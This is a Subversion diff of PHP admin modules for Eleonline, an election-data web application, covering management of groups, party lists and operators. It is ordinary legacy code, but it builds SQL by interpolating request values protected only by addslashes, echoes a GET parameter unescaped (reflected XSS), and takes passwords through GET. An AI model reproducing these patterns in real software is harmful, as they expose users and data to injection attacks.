+		$res = mysql_query("SELECT * FROM ".$prefix."_ele_circoscrizione where id_cons='$id_cons'", $dbi);
+		echo "<input type=\"hidden\" name=\"pag\" value=\"admin.php?op=gruppo&amp;id_cons_gen=$id_cons_gen&amp;id_circ=\">";
+		echo "<td><select name=\"id_circ\" onChange=\"top.location.href=this.form.pag.value+this.form.id_circ.options[this.form.id_circ.selectedIndex].value;return false\">";
+		echo "<option value=\"\">";
+		while($arr=mysql_fetch_array($res,3)){
+			if (!$id_circ) $id_circ=$arr['id_circ'];
+			$sel= ($arr['id_circ'] == $id_circ) ? "selected":"";
+			echo "<option value=\"".$arr['id_circ']."\" $sel>".$arr['descrizione'];
+		}
+		echo "</select></td></tr></table></form>";
+	}
+	echo "<center><font class=\"title\"><b>"._GRUPPO."</b></font><br><table border=\"0\" width=\"100%\"><tr bgcolor=\"$bgcolor1\">"
+	."<td align=\"center\"width=\"5%\"><b>"._NUM."</b></td>"
+	."<td align=\"center\"><b>"._DESCR."</b></td>"
+	."<td align=\"center\"width=\"5%\"><b>"._SIMBOLO."</b></td>"
+	."<td align=\"center\"><b>"._FUNZIONI."</b></td></tr>";
+	//-----------------------visualizza riga superiore per inserimento -
+	$circo= $cons_circ==1 ? "and id_circ='$id_circ'":"";	
+	$res = mysql_query("SELECT * FROM ".$prefix."_ele_gruppo where id_cons='$id_cons' $circo ", $dbi);
+	$max = mysql_num_rows($res);
+	$nuovo_gruppo=$max+1;
+	echo "<form name=\"gruppo2\" enctype=\"multipart/form-data\" action=\"admin.php\" method=\"post\">"
+	."<input type=\"hidden\" name=\"op\" value=\"gruppo\">";
+	if ($do=='modify') {
+	$resl = mysql_query("SELECT * FROM ".$prefix."_ele_gruppo where id_gruppo='$id_gruppo'", $dbi);
+	$gru=mysql_fetch_array($resl);
+	$nuovo_gruppo=$gru['num_gruppo'];
+	echo "<input type=\"hidden\" name=\"do\" value=\"update\">";
+	}else{
+	$gru['id_gruppo']='';$gru['descrizione']='';
+	echo "<input type=\"hidden\" name=\"do\" value=\"add\">";
+	}	
+
+	//-----------------------fine visualizza riga superiore per inserimento -
+	echo "<input type=\"hidden\" name=\"id_cons_gen\" value=\"$id_cons_gen\">"
+	."<input type=\"hidden\" name=\"id_gruppo\" value=\"".$gru['id_gruppo']."\">"
+	."<tr><td><input type=\"text\" name=\"num_gruppo\" value=\"$nuovo_gruppo\" size=\"5\"></td>"
+	."<td><input type=\"text\" name=\"descr_gruppo\" size=\"50\" value=\"".$gru['descrizione']."\"></td>";
+	echo "<td><input type=\"file\" name=\"stemma\" size=\"10\"></td>"; //file=$gru[simbolo]
+	echo "<input type=\"hidden\" name=\"min\" value=\"$min\">";
+	echo "<input type=\"hidden\" name=\"id_comune\" value=\"$id_comune\">";
+	echo "<input type=\"hidden\" name=\"id_circ\" value=\"$id_circ\">";
+	echo "<input type=\"hidden\" name=\"id_cons\" value=\"$id_cons\">"
+	."<input type=\"hidden\" name=\"id_cons_gen\" value=\"$id_cons_gen\">"
+	."<input type=\"hidden\" name=\"min\" value=\"$min\">";
+	if ($do=='modify') 
+		echo "<td><input type=\"submit\" name=\"add\" value=\""._MODIFY."\"></td>";
+	else
+		echo "<td><input type=\"submit\" name=\"add\" value=\""._ADD."\"></td>";
+	echo "</form>";
+		
+		
+		
+	$res = mysql_query("SELECT * FROM ".$prefix."_ele_gruppo where id_cons='$id_cons' $circo ", $dbi);
+	$max = mysql_num_rows($res);
+	$result = mysql_query("select * from ".$prefix."_ele_gruppo where id_cons='$id_cons' $circo ORDER BY num_gruppo  LIMIT $min,$offset", $dbi);
+	while(list($id_cons2,$id_gruppo,$num_gruppo, $descr_gruppo, $simbolo) = mysql_fetch_row($result)) {
+		$restemp = mysql_query("select count(0) from ".$prefix."_ele_lista where id_gruppo='$id_gruppo'", $dbi);
+		list($numtemp)=mysql_fetch_row($restemp);
+		$bgcolor1=($bgcolor1==$_SESSION['bgcolor1'])?$_SESSION['bgcolor2']:$_SESSION['bgcolor1'];
+		if (!$simbolo) $simbolo="nulla.jpg";
+		echo "<tr bgcolor=\"$bgcolor1\"><td align=\"center\"><b>$num_gruppo</b></td>"
+		."<td align=\"left\"><b>$descr_gruppo</b></td>";
+		echo "<td align=\"center\"><b>
+		<img  src=\"admin.php?op=foto&amp;id_gruppo=$id_gruppo\" width=\"50\" heigth=\"50\"></b></td>";
+		echo "<td align=\"center\" nowrap>[<a
+		href=\"admin.php?op=gruppo&amp;do=modify&amp;id_gruppo=$id_gruppo&amp;id_cons_gen=$id_cons_gen&amp;id_circ=$id_circ&amp;min=$min\"><img src=\"modules/Elezioni/images/edit.gif\"
+	 	border=\"0\" align=\"center\"> "._EDIT."</a>]";
+		if (!$numtemp)
+			echo "[<a href=\"admin.php?op=gruppo&amp;do=delete&amp;id_gruppo=$id_gruppo&amp;id_cons_gen=$id_cons_gen&amp;id_circ=$id_circ&amp;descr_gruppo=$descr_gruppo&amp;min=$min\">"._DELETE." <img src=\"modules/Elezioni/images/delete.gif\" border=\"0\" align=\"center\"></a>]";
+		else
+			echo "["._DELETE." <img src=\"modules/Elezioni/images/delete.gif\" border=\"0\" align=\"center\"></a>]";
+		echo "</td></tr>";
+    	}
+    	echo "</table></center>";
+
+//      #'Pagina precedente' e 'Pagina Successiva'
+
+      		echo"<table align=\"center\" width=\"100%\" ><tr>";
+      		$prev=$min-$offset;
+      		if ($prev>=0) {
+              		echo "<td colspan=\"5\" align=\"center\" bgcolor=\"$bgcolor1\"><a href=\"admin.php?op=gruppo&amp;id_gruppo=$id_gruppo&amp;id_cons_gen=$id_cons_gen&amp;id_comune=$id_comune&amp;min=$prev\">";
+              		echo "<b>$offset "._PREV_MATCH."</b></a></td>";
+      		}
+
+      		$next=$min+$offset;
+      		if ($next>=($offset-1)) {
+        		if($next>=$max) $next = $max;
+	  		else {
+ 	             		echo "<td colspan=\"5\" align=\"center\" bgcolor=\"$bgcolor1\"><a href=\"admin.php?op=gruppo&amp;id_gruppo=$id_gruppo&amp;id_cons_gen=$id_cons_gen&amp;min=$next\">";
+              			echo "<b>$offset "._NEXT_MATCH."</b></a></td>";
+        		}
+      		}
+     		echo "</tr></table><br>";
+
+	}
+
+//***********************************************************
+//Funzione di inserimento e gestione dei gruppi
+//************************************************************
+
+function gruppo($ok, $do,$id_gruppo,$num_gruppo,$descr_gruppo, $simbolo,$id_circ) {
+	global $prefix, $dbi, $id_cons,$simbolo2,$genere,$id_cons_gen,$id_comune,$min;
+	$aid=$_SESSION['aid'];
+	$perms=ChiSei($id_cons_gen);
+	if ($perms >16) {
+       	if ($do == "delete") {  
+     			if ($ok !="1") {
+				ele();
+				echo "<center><br><br>"._DOMCANCELLA." "._GRUPPO." $descr_gruppo ?<br>";
+				echo "[ <a href=\"admin.php?op=gruppo&amp;id_cons_gen=$id_cons_gen&amp;id_circ=$id_circ\">"._NO."</a> ] - [<a href=\"admin.php?op=gruppo&amp;do=delete&amp;id_gruppo=$id_gruppo&amp;id_cons_gen=$id_cons_gen&amp;id_comune=$id_comune&amp;ok=1\">"._YES."</a> ]";exit;
+     			}else{
+				$result = mysql_query("delete from ".$prefix."_ele_gruppo where id_gruppo='$id_gruppo'", $dbi);
+          			if (!$result) return;
+				Header("Location: admin.php?op=gruppo&id_cons_gen=$id_cons_gen&id_circ=$id_circ&min=$min");
+			}
+      		} elseif ($do == "add") {
+      			if ($descr_gruppo) {
+				$stemmablob='';
+				$stemmanome='';
+				$STEMM=$_FILES['stemma'];
+				$filestemma=$STEMM['tmp_name'];
+				$nomestemma=$STEMM['name'];
+				$sqlset='';
+				if ($filestemma){
+					$fdstemma = fopen ("$filestemma", "rb");
+					$stemmacontents = fread ($fdstemma, filesize ("$filestemma"));
+					fclose ($fdstemma);
+					$stemmablob=addslashes($stemmacontents);
+					$stemmanome=addslashes($nomestemma);
+				}
+      				$result = mysql_query("insert into ".$prefix."_ele_gruppo (id_cons,id_gruppo,num_gruppo,descrizione,simbolo,stemma,id_circ) values ('$id_cons','$id_gruppo','$num_gruppo','$descr_gruppo','$stemmanome','$stemmablob','$id_circ')", $dbi);
+           			if (!$result) return;
+           			Header("Location: admin.php?op=gruppo&id_cons_gen=$id_cons_gen&id_circ=$id_circ&min=$min");
+     			} else {
+        			ele();
+        			OpenTable();
+				echo "<center>"._GESTIONE." "._GRUPPO." ";
+        			echo "<br><br><a href=\"admin.php?op=gruppo&amp;id_cons_gen=$id_cons_gen\">"._IMM." "._GRUPPO."</a></center>";
+				CloseTable();
+     			}
+   		} elseif ($do == "update") {
+			$stemmablob='';
+			$stemmanome='';
+			$STEMM=$_FILES['stemma'];
+			$filestemma=$STEMM['tmp_name'];
+			$nomestemma=$STEMM['name'];
+			$sqlset='';
+			if ($filestemma){
+				$fdstemma = fopen ("$filestemma", "rb");
+				$stemmacontents = fread ($fdstemma, filesize ("$filestemma"));
+				fclose ($fdstemma);
+				$stemmablob=addslashes($stemmacontents);
+				$stemmanome=addslashes($nomestemma);
+				$cond=", simbolo='$stemmanome', stemma='$stemmablob'";
+			} else {$cond='';}
+         		$result = mysql_query("update  ".$prefix."_ele_gruppo set num_gruppo='$num_gruppo' , descrizione='$descr_gruppo' $cond where id_gruppo='$id_gruppo' ", $dbi) || die("Errore di aggiornamento dei dati!".mysql_error());
+			Header("Location: admin.php?op=gruppo&id_cons_gen=$id_cons_gen&id_circ=$id_circ&min=$min");
+   		}
+
+	}
+}
+
+if ($do and $do!="modify")
+	gruppo($ok, $do,$id_gruppo,$num_gruppo,$descr_gruppo,$simbolo, $id_circ);
+ele();
+all();
+echo"</td></tr></table>";
+include("footer.php");
+
+
+
+
+?>
Index: /trunk/elezioni/trunk/admin/modules/Elezioni/ele_lista.php
===================================================================
--- /trunk/elezioni/trunk/admin/modules/Elezioni/ele_lista.php	(revision 44)
+++ /trunk/elezioni/trunk/admin/modules/Elezioni/ele_lista.php	(revision 44)
@@ -0,0 +1,276 @@
+<?php
+
+/************************************************************************/
+/* Eleonline - Raccolta e diffusione dei dati elettorali                */
+/* by Roberto Gigli & Luciano Apolito                                   */
+/* http://www.eleonline.it                                              */
+/* info@eleonline.it  luciano@aniene.net rgigli@libero.it               */
+/************************************************************************/
+/* Modulo lista                                                       */
+/* Amministrazione                                                     */
+/************************************************************************/
+if (!defined('ADMIN_FILE')) {
+    die ("You can't access this file directly...");
+}
+
+ob_start();
+$param=strtolower($_SERVER['REQUEST_METHOD']) == 'get' ? $_GET : $_POST;
+$id_cons_gen=intval($param['id_cons_gen']);
+$perms=ChiSei($id_cons_gen);
+if ($perms<32 or !$id_cons_gen) die("$id_cons_gen -Non hai i permessi per inserire dati, o non hai scelto la consultazione!");
+$res = mysql_query("SELECT t1.tipo_cons,t2.id_cons FROM ".$prefix."_ele_consultazione as t1, ".$prefix."_ele_cons_comune as t2 where t1.id_cons_gen=t2.id_cons_gen and t2.id_cons_gen='$id_cons_gen' and t2.id_comune='$id_comune'" , $dbi);
+list($tipo_cons,$id_cons) = mysql_fetch_row($res);
+
+include("modules/Elezioni/funzionidata.php");
+include("modules/Elezioni/ele.php");
+if (isset($param['mex'])) get_magic_quotes_gpc() ? $mex=$param['mex']:$mex=addslashes($param['mex']); else $mex='';
+if (isset($param['do'])) get_magic_quotes_gpc() ? $do=$param['do']:$do=addslashes($param['do']); else $do='';
+if (isset($param['min'])) $min=intval($param['min']); else $min=0;
+if (isset($param['ok'])) get_magic_quotes_gpc() ? $ok=$param['ok']:$ok=addslashes($param['ok']); else $ok='';
+if (isset($param['id_lista'])) $id_lista=intval($param['id_lista']); else $id_lista='';
+if (isset($param['id_circ'])) {$id_circ=intval($param['id_circ']); $_SESSION['id_circ']=$id_circ;} else
+	if (isset($_SESSION['id_circ'])) $id_circ=intval($_SESSION['id_circ']); else $id_circ='';
+if (isset($param['id_gruppo'])) $id_gruppo=intval($param['id_gruppo']); else $id_gruppo='';
+if (isset($param['id_gruppo2'])) $id_gruppo2=intval($param['id_gruppo2']); else $id_gruppo2='';
+if (isset($param['num_lista'])) $num_lista=intval($param['num_lista']); else $num_lista='';
+if (isset($param['descr_lista'])) get_magic_quotes_gpc() ? $descr_lista=$param['descr_lista']:$descr_lista=addslashes($param['descr_lista']); else $descr_lista='';
+if (isset($param['simbolo'])) get_magic_quotes_gpc() ? $simbolo=$param['simbolo']:$simbolo=addslashes($param['simbolo']); else $simbolo='';
+if (isset($param['stemma'])) get_magic_quotes_gpc() ? $stemma=$param['stemma']:$stemma=addslashes($param['stemma']); else $stemma='';
+
+// Offset - visualizza il numero di elementi per pagina
+
+$offset=15;
+$hiddenInfo = "<input type=\"hidden\" name=\"min\" value=\"$min\">";
+
+
+/******************************************************/
+/*Funzione di visualizzazione globale                 */
+/*****************************************************/
+
+function all() {
+    global $param,$bgcolor1, $bgcolor2, $prefix, $dbi, $offset, $min, $id_cons,$tipo_cons,$id_gruppo,$id_gruppo2,$genere,$id_cons_gen,$do,$id_circ, $mex,$descr_lista,$id_lista;
+	$currentlang=$_SESSION['lang'];	
+	$cur_circ=$id_circ;
+	
+	$circo='';
+	$res = mysql_query("SELECT circo FROM ".$prefix."_ele_tipo where tipo_cons='$tipo_cons'", $dbi);
+#	$res = mysql_query("SELECT circo FROM ".$prefix."_ele_tipo where tipo_cons='$tipo_cons' and lingua='$currentlang'", $dbi);
+	list($cons_circ)= mysql_fetch_row($res);
+	if($cons_circ)
+	{
+		echo "<form name=\"circo\" action=\"admin.php\" method=\"post\">";
+		echo "<br><br><table border=\"1\" width=\"50%\" ><tr bgcolor=\"$bgcolor1\"><td>"._SCEGLI_CIRCO.": </td>";
+		$res = mysql_query("SELECT * FROM ".$prefix."_ele_circoscrizione where id_cons='$id_cons'", $dbi);
+		echo "<input type=\"hidden\" name=\"pag\" value=\"admin.php?op=lista&amp;id_cons_gen=$id_cons_gen&amp;id_circ=\">";
+		echo "<td><select name=\"id_circ\" onChange=\"top.location.href=this.form.pag.value+this.form.id_circ.options[this.form.id_circ.selectedIndex].value;return false\">";
+		echo "<option value=\"\">";
+		while($arr=mysql_fetch_array($res,3)){
+			if (!$id_circ) $id_circ=$arr['id_circ'];
+			$sel= ($arr['id_circ'] == $id_circ) ? "selected":"";
+			echo "<option value=\"".$arr['id_circ']."\" $sel>".$arr['descrizione'];
+		}
+		echo "</select></td></tr></table></form>";
+		$circo="and id_circ='$id_circ'";	
+	}
+	echo "<center><font class=\"title\">";
+	if ($mex) echo "<br>$mex";
+	echo "<br><b>"._LISTA."</b></font><br><br><table border=\"0\" width=\"100%\"><tr>"
+	."<td bgcolor=\"$bgcolor1\" align=\"center\" width=\"5%\"><b>"._NUM."</b></td>"
+	."<td bgcolor=\"$bgcolor1\" align=\"center\"><b>"._DESCR."</b></td>";
+	echo "<td bgcolor=\"$bgcolor1\" align=\"center\" width=\"5%\"><b>"._SIMBOLO."</b></td>";
+	if ($genere==1 or $genere==3 or $genere==5) { ###prova  
+		echo "<td bgcolor=\"$bgcolor1\" align=\"center\"><b>"._GRUPPO."</b></td>";
+	}
+	echo "<td bgcolor=\"$bgcolor1\" align=\"center\"><b>"._FUNZIONI."</b></td></tr>";
+	$res = mysql_query("SELECT * FROM ".$prefix."_ele_lista where id_cons='$id_cons' $circo ", $dbi);
+	$max = mysql_num_rows($res);
+	$nuova_lista=$max+1;
+	//-----------------------visualizza riga superiore per inserimento -
+	echo "<form name=\"lista2\" enctype=\"multipart/form-data\" action=\"admin.php\" method=\"post\">"
+	."<input type=\"hidden\" name=\"op\" value=\"lista\">";
+	if ($do=='modify') {
+	$resl = mysql_query("SELECT * FROM ".$prefix."_ele_lista where id_lista='$id_lista'", $dbi);
+	$lis=mysql_fetch_array($resl);
+	$nuova_lista=$lis['num_lista'];
+	echo "<input type=\"hidden\" name=\"do\" value=\"update\">";
+	}else{
+	$lis['id_lista']='';
+	if ($descr_lista) $lis['descrizione']="$descr_lista";else $lis['descrizione']='';
+	echo "<input type=\"hidden\" name=\"do\" value=\"add\">";
+	}
+	//-----------------------fine visualizza riga superiore per inserimento -
+	echo "
+	<input type=\"hidden\" name=\"id_cons_gen\" value=\"$id_cons_gen\">
+	<input type=\"hidden\" name=\"id_circ\" value=\"$id_circ\">
+	<input type=\"hidden\" name=\"id_lista\" value=\"".$lis['id_lista']."\">
+	<tr>
+		<td><input type=\"text\" name=\"num_lista\" value=\"$nuova_lista\" size=\"5\"></td>
+		<td><input type=\"text\" name=\"descr_lista\" size=\"35\" value=\"".$lis['descrizione']."\"></td>
+		<td><input name=\"stemma\" type=\"file\" size=\"10\"></td>";
+	
+	if ($genere==1 or $genere==3 or $genere==5) ###prova
+	{
+		echo "
+		<input type=\"hidden\" name=\"pag\" value=\"admin.php?op=lista&amp;id_circ=$id_circ&amp;id_cons_gen=$id_cons_gen&amp;id_gruppo=\">
+		<td><select name=\"id_gruppo\" onChange=\"aggiorna(6)\">
+		<option value=\"\">";
+		
+		$result1 = mysql_query("select id_gruppo, descrizione from ".$prefix."_ele_gruppo where id_cons=$id_cons $circo", $dbi);
+		$id_gruppo2= ($id_gruppo2)?$id_gruppo2:$id_gruppo;
+		if ($result1)
+		while(list($id,$descr)=mysql_fetch_row($result1)){
+			$sel= ($id == $id_gruppo2) ? "selected":"";
+			echo "<option value=\"$id\" $sel>$descr";
+		}
+		echo "</select></td>";
+	}
+
+	echo "<input type=\"hidden\" name=\"id_cons_gen\" value=\"$id_cons_gen\">"
+	."<input type=\"hidden\" name=\"min\" value=\"$min\">";
+	if ($do=='modify') 
+		echo "<td align=\"center\"><input type=\"submit\" name=\"add\" value=\""._MODIFY."\"></td>";
+	else
+		echo "<td align=\"center\"><input type=\"submit\" name=\"add\" value=\""._ADD."\"></td>";
+	echo "</form>";
+	echo "<SCRIPT type=\"text/javascript\">\n\n<!--\n"
+		."document.lista2.descr_lista.focus()\n"
+		."//-->\n";
+	echo "function vai_a() {\n";
+		echo "window.document.location.href=document.lista2.pag.value+document.lista2.id_gruppo.value\n";
+		echo "}\n";
+	echo "function aggiorna(id_ele) {\n";
+		echo "if (document.lista2.elements[id_ele].value==\"\") {vai_a()}\n";
+    		echo "}\n";
+	echo "</script>\n";
+	$grup= $id_gruppo ? "and id_gruppo='$id_gruppo'":"";
+	$result = mysql_query("select count(id_lista) from ".$prefix."_ele_lista where id_cons='$id_cons' $circo", $dbi);
+	list($numero) = mysql_fetch_row($result);
+	$result = mysql_query("select * from ".$prefix."_ele_lista where id_cons='$id_cons' $grup $circo ORDER BY num_lista  LIMIT $min,$offset", $dbi);
+	while(list($id_cons2,$id_lista,$num_lista, $id_gruppo,$id_circ, $descr_lista, $simbolo) = mysql_fetch_row($result)) {
+		$bgcolor1=($bgcolor1==$_SESSION['bgcolor1'])?$_SESSION['bgcolor2']:$_SESSION['bgcolor1'];
+        	// dati gruppo
+		if ($genere==1 or $genere==3 or $genere==5){ ###prova	
+		$result1 = mysql_query("select descrizione,simbolo from ".$prefix."_ele_gruppo where id_cons='$id_cons' and id_gruppo='$id_gruppo'", $dbi);
+        		list($descr_gruppo,$simb_gruppo)=mysql_fetch_row($result1);
+		}
+		$restemp = mysql_query("select count(0) from ".$prefix."_ele_candidati where id_lista='$id_lista'", $dbi);
+		list($numtemp)=mysql_fetch_row($restemp);
+
+		echo "<tr bgcolor=\"$bgcolor1\"><td align=\"right\"><b>$num_lista</b>"
+		."</td><td align=\"left\"><b>$descr_lista</b>"
+		."</td><td align=\"center\"><img class=\"stemma\" src=\"admin.php?op=foto&amp;id_lista=$id_lista&amp;prefix=$prefix\"  width=\"50\">";
+		if ($genere==1 or $genere==3 or $genere==5) { ###prova
+			echo "</td><td align=\"left\"><b>$descr_gruppo</b></td>";
+		}
+		echo "<td align=\"center\" nowrap>[<a
+			href=\"admin.php?op=lista&amp;do=modify&amp;id_lista=$id_lista&amp;id_gruppo2=$id_gruppo&amp;id_cons_gen=$id_cons_gen&amp;min=$min&amp;id_circ=$id_circ\"><img src=\"modules/Elezioni/images/edit.gif\"
+			border=\"0\" align=\"center\"> "._EDIT."</a>]";
+		if (!$numtemp)
+			echo "[<a href=\"admin.php?op=lista&amp;do=delete&amp;id_lista=$id_lista&amp;id_gruppo=$id_gruppo&amp;descr_lista=$descr_lista&amp;min=$min&amp;id_cons_gen=$id_cons_gen&amp;id_circ=$id_circ\">"._DELETE." <img src=\"modules/Elezioni/images/delete.gif\" border=\"0\" align=\"center\"></a>]";
+		else
+			echo "["._DELETE." <img src=\"modules/Elezioni/images/delete.gif\" border=\"0\" align=\"center\">]";
+                
+		echo "</td></tr>";
+	}
+	echo "</table></center>";
+
+
+      #'Pagina precedente' e 'Pagina Successiva'
+      echo"<table align=\"center\" width=\"100%\" ><tr>";
+      $prev=$min-$offset;
+      if ($prev>=0) {
+              echo "<td colspan=\"5\" align=\"center\" bgcolor=\"$bgcolor1\"><a href=\"admin.php?op=lista&amp;id_lista=$id_lista&amp;id_gruppo=$id_gruppo&amp;id_circ=$cur_circ&amp;min=$prev&amp;id_cons_gen=$id_cons_gen\">";
+              echo "<b>$offset "._PREV_MATCH."</b></a></td>";
+      }
+
+	$next=$min+$offset;
+	if ($next>=($offset-1)) {
+		if($next>=$max) $next = $max;
+		else {
+	              echo "<td colspan=\"5\" align=\"center\" bgcolor=\"$bgcolor1\"><a href=\"admin.php?op=lista&amp;id_lista=$id_lista&amp;id_gruppo=$id_gruppo&amp;id_circ=$cur_circ&amp;min=$next&amp;id_cons_gen=$id_cons_gen\">";
+              	echo "<b>$offset "._NEXT_MATCH."</b></a></td>";
+        	}
+	}
+	echo "</tr></table><br>";
+
+}
+
+function lista($ok, $do,$id_lista, $num_lista, $id_gruppo,$id_circ, $descr_lista, $simbolo,$stemma) {
+global $param,$bgcolor1, $bgcolor2, $prefix, $dbi, $descr_cons, $id_cons,$simbolo2,$tipo_cons,$min,$genere,$id_cons_gen;
+$aid=$_SESSION['aid'];
+$perms=ChiSei($id_cons_gen);
+if ($perms >16) {
+        if ($do == "delete") {
+		if ($ok !="1") {
+			ele();
+			echo "<center><br><br>"._DOMCANCELLA." "._LISTA." $descr_lista ?<br>";
+			echo "[ <a href=\"admin.php?op=lista&amp;id_cons_gen=$id_cons_gen&amp;min=$min&amp;id_circ=$id_circ\">"._NO."</a> ] - [<a href=\"admin.php?op=lista&amp;do=delete&amp;id_lista=$id_lista&amp;id_gruppo=$id_gruppo&amp;id_circ=$id_circ&amp;ok=1&amp;min=$min&amp;id_cons_gen=$id_cons_gen\">"._YES."</a> ]";exit;
+		}else{
+			$result = mysql_query("delete from ".$prefix."_ele_lista where id_lista='$id_lista'", $dbi);
+			if (!$result)return;
+			Header("Location: admin.php?op=lista&id_circ=$id_circ&id_cons_gen=$id_cons_gen");
+		}
+	}elseif ($do == "add") {
+		if ($descr_lista and ($id_gruppo or ($genere!=3 and $genere!=5))) {
+			$stemmablob='';
+			$stemmanome='';
+			$STEMM=$_FILES['stemma'];
+			$filestemma=$STEMM['tmp_name'];
+			$nomestemma=$STEMM['name'];
+			$sqlset='';
+			if ($filestemma){
+				$fdstemma = fopen ("$filestemma", "rb");
+				$stemmacontents = fread ($fdstemma, filesize ("$filestemma"));
+				fclose ($fdstemma);
+				$stemmablob=addslashes($stemmacontents);
+				$stemmanome=addslashes($nomestemma);
+			}
+			$result = mysql_query("insert into ".$prefix."_ele_lista (id_cons,num_lista,id_gruppo,id_circ,descrizione,simbolo,stemma) values ('$id_cons','$num_lista','$id_gruppo','$id_circ','$descr_lista','$stemmanome','$stemmablob')", $dbi);
+			if (!$result) return;
+			Header("Location: admin.php?op=lista&id_circ=$id_circ&min=$min&id_cons_gen=$id_cons_gen");
+		} else {
+			$mex="";
+			if (!$id_gruppo) $mex.="- Devi collegare la lista ad un gruppo! -";
+			if (!$descr_lista) $mex.="- Devi inserire il nome della lista! -";
+			Header("Location: admin.php?op=lista&id_circ=$id_circ&min=$min&id_cons_gen=$id_cons_gen&descr_lista=$descr_lista&id_gruppo=$id_gruppo&mex=$mex");
+		}
+	}elseif ($do == "update") {
+		$stemmablob='';
+		$stemmanome='';
+		$STEMM=$_FILES['stemma'];
+		$filestemma=$STEMM['tmp_name'];
+		$nomestemma=$STEMM['name'];
+		$sqlset='';
+		if ($filestemma){
+		$fdstemma = fopen ("$filestemma", "rb");
+		$stemmacontents = fread ($fdstemma, filesize ("$filestemma"));
+		fclose ($fdstemma);
+		$stemmablob=addslashes($stemmacontents);
+		$stemmanome=addslashes($nomestemma);
+		$cond=", simbolo='$stemmanome', stemma='$stemmablob'";
+		} else {$cond='';}
+		$result = mysql_query("update  ".$prefix."_ele_lista set  num_lista='$num_lista' , id_gruppo='$id_gruppo',descrizione='$descr_lista' $cond  where id_lista='$id_lista'", $dbi);
+		if (!$result) return;
+		Header("Location: admin.php?op=lista&id_circ=$id_circ&min=$min&id_cons_gen=$id_cons_gen");
+	}
+
+
+}
+}
+
+
+
+
+
+
+
+if ($do and $do!='modify')
+    lista($ok, $do,$id_lista, $num_lista, $id_gruppo,$id_circ,$descr_lista, $simbolo,$stemma);
+ele();
+all();
+echo"</td></tr></table>";
+include("footer.php");
+
+ob_end_flush();
+
+?>
Index: /trunk/elezioni/trunk/admin/modules/Elezioni/ele_operatori.php
===================================================================
--- /trunk/elezioni/trunk/admin/modules/Elezioni/ele_operatori.php	(revision 44)
+++ /trunk/elezioni/trunk/admin/modules/Elezioni/ele_operatori.php	(revision 44)
@@ -0,0 +1,147 @@
+<?php
+/************************************************************************/
+/* Eleonline - Raccolta e diffusione dei dati elettorali                */
+/* by Roberto Gigli & Luciano Apolito                                   */
+/* http://www.eleonline.it                                              */
+/* info@eleonline.it  luciano@aniene.net rgigli@libero.it               */
+/************************************************************************/
+/* Modulo Operatori                                                     */
+/* Amministrazione                                                      */
+/************************************************************************/
+if (!defined('ADMIN_FILE')) {
+    die ("You can't access this file directly...");
+}
+
+$perms=ChiSei($id_cons_gen);
+if (($perms<64 or !$id_cons_gen) and $perms!=256) die("(($perms<64 or !$id_cons_gen) and $perms!=256)Non hai i permessi per inserire dati, o non hai scelto la consultazione!");
+$res = mysql_query("SELECT t1.tipo_cons,t2.id_cons FROM ".$prefix."_ele_consultazione as t1, ".$prefix."_ele_cons_comune as t2 where t1.id_cons_gen=t2.id_cons_gen and t2.id_cons_gen='$id_cons_gen' and t2.id_comune='$id_comune'" , $dbi);
+list($tipo_cons,$id_cons) = mysql_fetch_row($res);
+if (isset($_GET['aid2'])) get_magic_quotes_gpc() ? $aid2=$param['aid2']:$aid2=addslashes($param['aid2']); else {if ($perms==256) $aid2='admin'; else $aid2='';}
+if (isset($_GET['id_sede'])) $id_sede=intval($_GET['id_sede']); else $id_sede='';
+if (isset($_GET['do'])) get_magic_quotes_gpc() ? $do=$param['do']:$do=addslashes($param['do']); else $do='';
+if (isset($_GET['name'])) get_magic_quotes_gpc() ? $name=$param['name']:$name=addslashes($param['name']); else $name='';
+if (isset($_GET['email'])) get_magic_quotes_gpc() ? $email=$param['email']:$email=addslashes($param['email']); else $email='';
+if (isset($_GET['passwd'])) get_magic_quotes_gpc() ? $passwd=$param['passwd']:$passwd=addslashes($param['passwd']); else $passwd='';
+if (isset($_GET['passwd2'])) get_magic_quotes_gpc() ? $passwd2=$param['passwd2']:$passwd2=addslashes($param['passwd2']); else $passwd2='';
+
+include("modules/Elezioni/funzionidata.php");
+include("modules/Elezioni/ele.php");
+
+/******************************************************/
+/*Funzione di visualizzazione globale                 */
+/*****************************************************/
+//crea la pagina delle affluenze
+function all() {
+	global $aid, $offset, $prefix, $dbi,$id_cons,$aid2,$id_sede,$id_cons_gen,$mex,$perms;
+        //echo $perms;die();
+	$bgcolor1=$_SESSION['bgcolor1'];
+	$id_comune=$_SESSION['id_comune'];
+	$user=$aid;
+	$rescom = mysql_query("select descrizione from ".$prefix."_ele_comuni where id_comune=$id_comune",$dbi);
+	list($descr_com) = mysql_fetch_row($rescom);
+	$resmod = mysql_query("SELECT aid,name,email FROM ".$prefix."_authors where aid='$aid2' and id_comune='$id_comune'", $dbi);
+	list ($aid2,$name,$email) = mysql_fetch_row($resmod);
+	if (isset($_GET['mex'])){
+		echo "<table align=\"center\"><tr><td style=\"background-color: rgb(255, 0, 0)\">";
+		echo $_GET['mex'];
+		echo "</td></tr></table>";
+	}	
+	OpenTable();
+	$esiste=0;
+	echo "<tr><td>";
+	echo "<form name=\"autorizza\" action=\"admin.php\">";
+	echo "<table><tr align=\"center\" bgcolor=\"$bgcolor1\">";
+	echo "<td><b>"._UTENTE."</b></td>";
+	$resins = mysql_query("select aid from ".$prefix."_authors where id_comune='$id_comune' order by aid",$dbi); 
+	echo "</tr><tr align=\"center\">";
+	echo "<td><input type=\"hidden\" name=\"pag_op\" value=\"admin.php?op=operatori&amp;id_cons_gen=$id_cons_gen&amp;aid2=\">";
+	echo "<select name=\"aid2\" onChange=\"top.location.href=this.form.pag_op.value+this.form.aid2.options[this.form.aid2.selectedIndex].value;return false\">";
+	echo "<option value=\"\">";
+	while(list($utente)=mysql_fetch_row($resins)){
+		$sel= ($utente == $aid2) ? "selected":"";
+		echo "<option value=\"$utente\" $sel>$utente";
+		if($utente=="admin") $esiste=1;
+	}
+	echo "</select></td>";
+	echo "</tr></table></form><br><hr>";
+	$resmod = mysql_query("SELECT * FROM ".$prefix."_authors where id_cons='$id_cons' and id_comune='$id_comune'", $dbi);
+	echo "<form name=\"modello\" action=\"admin.php\">";
+	echo "<table>";
+	if ($perms==256) echo "<tr><td colspan=\"6\">"._NOTAOP." <b>$descr_com</b><hr></td></tr>";
+	echo "<tr align=\"center\" bgcolor=\"$bgcolor1\">";
+	echo "<td><b>"._UTENTE."</b></td>"; 
+	echo "<td><b>"._PASSWORD."</b></td>";
+	echo "<td><b>"._RIPETI."</b></td>";
